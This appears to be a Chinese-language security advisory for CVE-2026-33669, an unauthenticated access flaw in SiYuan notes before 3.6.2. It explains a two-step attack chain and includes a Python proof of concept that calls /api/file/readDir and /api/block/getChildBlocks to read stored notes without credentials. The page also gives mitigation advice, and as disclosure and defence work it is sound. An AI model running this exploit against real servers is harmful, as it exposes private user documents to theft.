IPBUF安全漏洞报告
English
CVE-2026-33669 CVSS 9.8 严重

SiYuan思源笔记未授权信息泄露漏洞CVE-2026-33669

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-33669
漏洞类型
未授权访问
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SiYuan

相关标签

未授权访问信息泄露SiYuan知识管理系统CVE-2026-33669API安全

漏洞概述

SiYuan是一款流行的个人知识管理系统。在3.6.2版本之前,系统存在一个严重的未授权访问漏洞。由于关键API接口缺乏有效的身份验证机制,攻击者无需任何凭证即可访问系统。利用该漏洞,攻击者可以遍历服务器目录并读取所有存储的知识库文档内容,导致高度敏感的数据泄露。建议用户立即升级至修复版本以消除风险。

技术细节

该漏洞的技术根源在于SiYuan在旧版本中对特定API端点的访问控制存在缺陷。根据漏洞分析,系统未对 `/api/file/readDir` 接口实施身份验证,导致攻击者可以直接调用此接口来枚举系统内的文档ID或目录结构。获取到ID后,攻击者进一步利用 `/api/block/getChildBlocks` 接口,将之前获取的ID作为参数传入。由于该接口同样缺乏权限校验,服务器会直接返回对应的文档块数据。通过这种两步走的攻击方式,攻击者能够在无认证的情况下,完整地获取服务器上存储的所有笔记和文档内容。鉴于CVSS评分为9.8,该漏洞利用难度低(AC:L)且影响范围广(C:H/I:H/A:H),属于高危级别的信息安全风险。

攻击链分析

STEP 1
步骤1:侦察与发现
攻击者识别互联网上暴露的SiYuan知识管理服务(通常运行在6806端口)。
STEP 2
步骤2:遍历文档ID
攻击者向 /api/file/readDir 接口发送POST请求,由于无需认证,服务器返回了文件目录结构或文档ID列表。
STEP 3
步骤3:数据窃取
攻击者利用获取到的ID,向 /api/block/getChildBlocks 接口发送请求,获取每个文档块的详细内容,从而下载所有知识库数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json target_url = "http://localhost:6806" # Step 1: Retrieve document IDs via /api/file/readDir # This endpoint is vulnerable and does not require authentication read_dir_api = f"{target_url}/api/file/readDir" payload = {"path": "/"} headers = {"Content-Type": "application/json"} try: print("[+] Attempting to retrieve document IDs...") response = requests.post(read_dir_api, json=payload, headers=headers) if response.status_code == 200: data = response.json() print("[+] Successfully retrieved directory structure:") print(json.dumps(data, indent=2)) # Check if we have data to proceed to step 2 # Note: Actual ID extraction logic depends on the specific JSON structure returned by SiYuan if 'data' in data: # Assuming IDs are present in the response, we simulate the extraction # For demonstration, we assume we found a block ID '202303...' # In a real scenario, parse the 'data' field recursively to find all IDs. document_ids = ["placeholder_id"] if document_ids: # Step 2: Retrieve content via /api/block/getChildBlocks get_block_api = f"{target_url}/api/block/getChildBlocks" for doc_id in document_ids: print(f"[+] Fetching content for ID: {doc_id}") block_payload = {"id": doc_id} block_resp = requests.post(get_block_api, json=block_payload, headers=headers) if block_resp.status_code == 200: print("[+] Content retrieved successfully:") print(block_resp.text) else: print(f"[-] Failed to retrieve content for ID: {doc_id}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

SiYuan < 3.6.2

防御指南

临时缓解措施
如果无法立即升级,建议将SiYuan部署在内网环境中,并通过VPN或IP白名单限制访问。同时,检查服务器日志以确认是否已被入侵。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表